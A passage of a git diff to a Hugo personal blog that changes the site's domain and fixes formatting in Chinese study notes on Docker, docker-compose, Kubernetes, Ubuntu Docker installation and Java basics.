none）</p><p>container网络模式：该模式下的容器不会配置自己的IP，而是和指定的容器共享IP和端口范围（网络共用，文件和进程隔离）（&ndash;network container:指定容器名或者容器ID）</p><p>自定义网络模式（可通过服务名（容器名/主机名）来通信，docker network create hallo）</p><hr><p>docker-compose容器编排</p><p>docker-Compose是Docker官方提供的Docker容器集群快速编排工具，用于管理多个docker容器组成的应用，通过docker-compose.yml配置文件来管理多个容器之间的调用关系</p><p>官方文档https://docs.docker.com/compose/</p><p>下载文档：https://docs.docker.com/compose/install/</p><p>下载docker-Compose
 sudo curl -L &ldquo;<a href=https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname>https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname</a> -s)-$(uname -m)&rdquo; -o /usr/local/bin/docker-compose</p><p>添加写的权限
@@ -144,8 +144,8 @@
 --privileged \
 --device=/dev/kmsg \
 gcr.io/cadvisor/cadvisor:$VERSION
-</code></pre><p>访问http://localhost:8080</p><p>容器的资源限制通过/sys/fs/cgroup/memory/docker下的，目录名为容器id，其中memory.limit_in_bytes是该容器的内存限制文件，memory.usage_in_bytes是该容器的内存使用情况，proc/容器的pid/net/dev是该容器的网络使用情况，cpuset.cpus是cpu限制使用核数，cpu.cfs_period_us是一个cpu核心的带宽（单位微秒，容器的cpu总带宽=cpu核心数*单个cpu核心的带宽），cpu.cfs_quota_us是可使用cpu带宽（单位微秒，-1为不限制）</p><p>容器监控工具实质上是通过读取和记录宿主的文件来显示容器资源情况的，所以启动容器监控工具，要映射数据卷/sys:到容器中</p><hr><p>kubernetes简称k8s，用来自动化容器的部署，监控，容器负载均衡等等</p><p>master是容器集群的控制系统，可以用来监控容器的状态，调度负载均衡</p><p>node是k8s的工作节点，可以接收master的指令，根据指令来创建和销毁Pod等等</p><p>Pod是容器的容器，可以包含多个容器，是k8s中最小的可部署单元，pod内部的网络是互通的，每一个pod都有自己的虚拟ip</p><p>k8s将弃用dockershim（dockershim是k8s内置的一个组件，该组件可让k8s能够通过CRI（Container Runtime Interface）来操作docker）</p><hr><p>安装docker</p><p>配置docker</p><p>添加docker官方GPGkey</p><p>curl -fsSL <a href=https://download.docker.com/linux/ubuntu/gpg>https://download.docker.com/linux/ubuntu/gpg</a> | sudo apt-key add -</p><p>sudo apt-key fingerprint 0EBFCD88</p><p>安装依赖</p><p>sudo apt install apt-transport-https ca-certificates curl software-properties-common</p><p>设置docker仓库</p><p>sudo add-apt-repository &ldquo;deb [arch=amd64] <a href=https://download.docker.com/linux/ubuntu>https://download.docker.com/linux/ubuntu</a> $(lsb_release -cs) stable&rdquo;</p><p>重新加载源</p><p>sudo apt update</p><p>如果报错，可以手动在/etc/apt/source.list添加</p><p>deb [arch=amd64] <a href=https://download.docker.com/linux/ubuntu>https://download.docker.com/linux/ubuntu</a> bionic stable</p><p>sudo apt dist-upgrade（智能处理包依赖，会自己安装新软件或者删除原有软件包来完成升级）</p><p>安装docker</p><p>sudo apt install docker-ce docker-ce-cli containerd.io</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/docker/>docker</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/19/><span class=title>« Prev</span><br><span>JAVA基础学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/17/><span class=title>Next »</span><br><span>XML学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><p>访问http://localhost:8080</p><p>容器的资源限制通过/sys/fs/cgroup/memory/docker下的，目录名为容器id，其中memory.limit_in_bytes是该容器的内存限制文件，memory.usage_in_bytes是该容器的内存使用情况，proc/容器的pid/net/dev是该容器的网络使用情况，cpuset.cpus是cpu限制使用核数，cpu.cfs_period_us是一个cpu核心的带宽（单位微秒，容器的cpu总带宽=cpu核心数*单个cpu核心的带宽），cpu.cfs_quota_us是可使用cpu带宽（单位微秒，-1为不限制）</p><p>容器监控工具实质上是通过读取和记录宿主的文件来显示容器资源情况的，所以启动容器监控工具，要映射数据卷/sys:到容器中</p><hr><p>kubernetes简称k8s，用来自动化容器的部署，监控，容器负载均衡等等</p><p>master是容器集群的控制系统，可以用来监控容器的状态，调度负载均衡</p><p>node是k8s的工作节点，可以接收master的指令，根据指令来创建和销毁Pod等等</p><p>Pod是容器的容器，可以包含多个容器，是k8s中最小的可部署单元，pod内部的网络是互通的，每一个pod都有自己的虚拟ip</p><p>k8s将弃用dockershim（dockershim是k8s内置的一个组件，该组件可让k8s能够通过CRI（Container Runtime Interface）来操作docker）</p><hr><p>安装docker</p><p>配置docker</p><p>添加docker官方GPGkey</p><p>curl -fsSL <a href=https://download.docker.com/linux/ubuntu/gpg>https://download.docker.com/linux/ubuntu/gpg</a> | sudo apt-key add -</p><p>sudo apt-key fingerprint 0EBFCD88</p><p>安装依赖</p><p>sudo apt install apt-transport-https ca-certificates curl software-properties-common</p><p>设置docker仓库</p><p>sudo add-apt-repository &ldquo;deb [arch=amd64] <a href=https://download.docker.com/linux/ubuntu>https://download.docker.com/linux/ubuntu</a> $(lsb_release -cs) stable&rdquo;</p><p>重新加载源</p><p>sudo apt update</p><p>如果报错，可以手动在/etc/apt/source.list添加</p><p>deb [arch=amd64] <a href=https://download.docker.com/linux/ubuntu>https://download.docker.com/linux/ubuntu</a> bionic stable</p><p>sudo apt dist-upgrade（智能处理包依赖，会自己安装新软件或者删除原有软件包来完成升级）</p><p>安装docker</p><p>sudo apt install docker-ce docker-ce-cli containerd.io</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/docker/>docker</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/19/><span class=title>« Prev</span><br><span>JAVA基础学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/17/><span class=title>Next »</span><br><span>XML学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/19/index.html b/posts/19/index.html
index 71fe2073..60546e72 100644
--- a/posts/19/index.html
+++ b/posts/19/index.html
@@ -18,7 +18,8 @@
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
@@ -28,8 +29,8 @@
 int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i
 整型
 整型类型：int，byte，short，long
-整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/19/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JAVA基础学习笔记"><meta property="og:description" content="java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
+整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/19/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JAVA基础学习笔记"><meta property="og:description" content="java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
 java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行
 java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑
 java分为Java SE、Java EE 和 Java ME。
@@ -49,7 +50,8 @@
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
@@ -59,7 +61,7 @@
 int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i
 整型
 整型类型：int，byte，short，long
-整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/19/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:35:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:35:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JAVA基础学习笔记"><meta name=twitter:description content="java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
+整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/19/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:35:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:35:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JAVA基础学习笔记"><meta name=twitter:description content="java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
 java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行
 java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑
 java分为Java SE、Java EE 和 Java ME。
@@ -79,7 +81,8 @@
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
@@ -89,10 +92,8 @@
 int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i
 整型
 整型类型：int，byte，short，long
-整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"JAVA基础学习笔记","item":"https://xiaochenabc123.github.io/posts/19/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"JAVA基础学习笔记","name":"JAVA基础学习笔记","description":"java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成\njava的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行\njava编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑\njava分为Java SE、Java EE 和 Java ME。\n类的命名：必须是英文开头，后可字母，数字和下划线\n一般为大写字母开头\n例如：\npublic class Abc\npublic是访问修饰符，表示该class为公开，如果没有写pulic，也可以正常编译，但是这个class将不能在命令行中执行\n在class内部可以定义方法，例如:\npublic static void main(String[] args){}\n这个例子的方法名为main，返回值为void，表示没有返回值，空\nstatic是一个关键字，同样也是修饰符，表示静态方法\njava入口程序必须是静态方法，方法名也必须为main，参数必须为String数组\n在方法内部，语句才能执行，每一行程序都必须要以分号结束;\n// 单行注释\n/*\n多行注释\n*/\n/** *\n一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）\n变量必须先定义，后赋值使用，例如：\nint a = 1;\n定义为int整数类型，名称为a，初始值为1\n变量的特点就是可以重新赋值\nint i = 1; // 定义int类型，名称为i，赋值为1\ni = 100; // 重新赋值为100\nint x = i; // 变量x的值为i，因为i的值为100，所以x的值为i\n整型\n整型类型：int，byte，short，long\n整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;","keywords":["java"],"articleBody":"java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成\njava的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行\njava编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑\njava分为Java SE、Java EE 和 Java ME。\n类的命名：必须是英文开头，后可字母，数字和下划线\n一般为大写字母开头\n例如：\npublic class Abc\npublic是访问修饰符，表示该class为公开，如果没有写pulic，也可以正常编译，但是这个class将不能在命令行中执行\n在class内部可以定义方法，例如:\npublic static void main(String[] args){}\n这个例子的方法名为main，返回值为void，表示没有返回值，空\nstatic是一个关键字，同样也是修饰符，表示静态方法\njava入口程序必须是静态方法，方法名也必须为main，参数必须为String数组\n在方法内部，语句才能执行，每一行程序都必须要以分号结束;\n// 单行注释\n/*\n多行注释\n*/\n/** *\n一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）\n变量必须先定义，后赋值使用，例如：\nint a = 1;\n定义为int整数类型，名称为a，初始值为1\n变量的特点就是可以重新赋值\nint i = 1; // 定义int类型，名称为i，赋值为1\ni = 100; // 重新赋值为100\nint x = i; // 变量x的值为i，因为i的值为100，所以x的值为i\n整型\n整型类型：int，byte，short，long\n整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;\n因为java的整型是有符号类型的，0表示正数，1表示为负数，所以取值范围是从负多少到正多少，不能超过取值范围\n整数的值的表示支持二进制，八进制，十进制，十六进制\nbyte：-128 ~ 127 长度8位 short: -32768 ~ 32767 长度16位 int: -2147483648 ~ 2147483647 长度32位 long: -9223372036854775808 ~ 9223372036854775807 长度64位\n浮点型\n浮点型类型：float（长度32位），double（长度64位）\n浮点型默认为double，在数值后加F，代表为float类型，例如：float abc = 3.14F;\n浮点型支持科学计数法（E或者e），e2就是代表为10的2次方，例如：3.14e2 = 3.14x100\nfloat：3.4E-038 ~ 3.4E+038 double：1.7E-308 ~ 1.7E+308\n浮点类型的数就是小数\n小数值默认位double类型\n如果想将一个小数类型设置为float类型，需要在小数后加f，例如：float abc = 3.14 f\nfloat（单精度）精度是7位有效数字，第7位数字后面的会四舍五入\nfloat a = 0.987654321f; // 实质上为0.9876543 ，2和1被四舍五入了，使用float类型，要在后面加上f\ndouble（双精度）精度是16位有效数字\n在计算机中，使用符号位（sign）+指数（exponent）+小数位（fraction），来表示浮点数（浮点表示法）\n符号位表示正负，指数表示取值范围，小数位表示计算精度\n例如： float类型为32位，符号位占1位，指数位占8位，小数位占23位，小数位不足位数的补0\ndouble类型为64位，符号位占1位，指数占11为，小数位占52位，小数位不足位数的补0\n布尔类型\njava布尔类型和很多程序语言一样，用来表示真与假，布尔类型只有两个值，true和false，长度为1位\n可以赋值变量为布尔类型，也可以通过关系运算来返回\n例如：\nboolean a = true;\nboolean b = 1\u003e2;\n字符类型\n字符类型char表示一个字符，char类型不但可以表示标准的ASCII，还可以表示一个Unicode字符\nchar类型使用单引号’‘来表示，而且只能存储一个字符，长度为16位\n字符串\n字符串类型String是一个引用类型，例如：\nString a = “abc”;\n引用类型的变量是类似于c语言的指针，内部保存了一个地址，指向某一个对象在内存的位置\n\\代表为转义符，例如：\\n\n类型转换\n精度小的类型可以自动转换为精度大的类型 精度大的类型，需要强制转换，才能转换到精度小的类型，而且还可能溢出\n例如：\n自动转换\nint a= 100;\nlong b;\na =b;\n强制转换\nint a = 999;\nbyte a = (byte)b;\n因为byte类型取值范围为：-128 ~ 127，999超过了byte类型的取值范围\n如果一个变量在类下声明，那么这个变量整个类都可以访问，其作用域就在其声明的那个类中，覆盖整个类\n当一个变量在一个方法内部被定义，那么这个变量只能作用于该方法内部，这也叫为局部变量，方法一执行结束，该变量就被销毁\n常量\n使用final修饰符定义常量，例如\nfinal int a = 123;\n常量在定义时初始化后就不能重新赋值了，常量的命名习惯为全部大写\nvar 关键字\nvar关键字会自动推断变量的类型，使用var定义变量只是少写了变量类型，例如\nvar a = 123;\n运算\n整数的运算，是精确的，因为只取结果的整数部分\n溢出：指一个数超过数据类型的取值范围了，只要这个数超出了取值范围，那么就会产生溢出，溢出不会报错，会返回一个数，这个数会通过二进制运算来处理\n+=，-=，*=，/=\n例如： a+=2 // 相当于 a = a + 2\n++和–运算\na++ // 相当于 a = a + 1 a– // 相当于 a = a - 1\na++和++a\n++a ，表示先加1，再引用a，a++，表示引用a，再加1\n\u003e大于，\u003e=大于或等于，\u003c小于，\u003c=小于或等于，==是否相等，!=是否不相等\n\u0026：与，当俩边都为真时，为真，两边的表达式都处理 \u0026\u0026：与，当俩边都为真时，为真，只要第一个表达式的值为假，第二个就不进行处理 |：或，当两边都为假时，为假，任意一个表达式的值为真，则为真，两边的表达式都处理 ||：或，当两边都为假时，为假，任意一个表达式的值为真，则为真，只要第一个表达式的值为真，第二个就不进行处理 !：取反，当表达式的值为真时，返回假，表达式的值为假时，返回真 ^：异或，表达式的值不同时，返回真，相同时返回假\n移位运算\n因为在计算机中整数是以二进制表示的，所以可以通过移位运算\nInteger.toBinaryString() 方法可以将十进制转换为二进制，例如：\nint a =10; String b = (Integer.toBinaryString(a));\nb的值为1010\n例如：\nint abc = 100;\nint a = abc « 3; // 向左移动3位 a = 800\nint b = abc » 3; // 向右移动3位，b = 12\nint c = -1 »\u003e 2; // 无符号向右移，c = 1073741823\n位或|：当对应的二进位中，有一个为1时，结果为1，例如\n1|2 ： 1的二进制为1，2的二进制为10，那么得到的二进制结果为11，转换为十进制为3\n位与\u0026：当对应的二进位中，俩边都为1时，结果为1，例如\n1\u00262 ：二进制结果为10，十进制结果为2\n异或^：当对应的二进位中，两边的值都不为1时，结果为1，例如：\n1^2：二进制结果为01，十进制结果为1\n取非~：将二进制位倒反，将0改为1，将1改为0，例如：\nint a = 10 // 10的二进制为1010\n~a // 值为0101，十进制结果为5\n= ：赋值 += ： 自加，例如i+=1，那么等于i=i+1 -=：自减，例如i-=1，那么等于i=i-1 还有%=，\u0026=，/=，|=，^=，«=，»=，»\u003e=都是类似的\n三元操作符\n基础语法为：\na=x\u003ec?值1:值2\n用if语句来看就等于:\nif(x\u003ec){ a=值1 }else{ a=值2 }\nif判断\n根据条件来执行或者不执行某段语句，基本语法例如：\nif（条件）{ // 当条件满足时执行的语句 }else{ // 当条件不满足时执行的语句 }\n例如： if(a\u003e=100){ System.out.println(“a大于或者等于100”); }else{ System.out.println(“a不大于或者等于100”); }\nswitch判断\n根据表达式的结果来执行相对应的语句，例如：\nswitch(a){ case 1: System.out.println(“a等于1”); break; case 2: System.out.println(“a等于2”); break; default: System.out.println(“不知道a等于多少”); }\nswitch也可以匹配字符串\nwhile循环\n循环就是根据条件进行循环处理，当条件满足时循环处理，当条件不满足时退出循环\n例如：\nwhile (a\u003e=100){ System.out.println(a); a++; } while循环是先判断后循环处理，当初始条件不满足时，那么一次循环都不会发生\ndo…while就是先执行再判断条件，例如：\ndo{ System.out.println(a); a++; }while (a\u003e=100);\n先执行do里面的语句，再判断条件是否满足，所以do…while最低也会执行一次，哪怕初始条件也是不满足的\nfor循环\nfor和while不一样，它是使用计数器（自增或者自减）来实现循环，例如：\nfor (int a=1;a\u003c=100;a++){ system.out.println(a); }\nfor可以用于数组遍历\nbreak语句用于退出当前循环\ncontinue语句用于提前结束本次循环，直接执行下次循环\n例如：\nfor (int a=1;a\u003c=100;a++){ system.out.println(a); if(a==2){ break; } if(a==3){ continue; }\n数组\n数组的定义及遍历\nint[] arr = {5,1,3,7,8,2,6,0,10,4,9};\nfor (int i=0;i","wordCount":"794","inLanguage":"en","datePublished":"2021-06-16T09:35:00Z","dateModified":"2021-06-16T09:35:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/19/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a 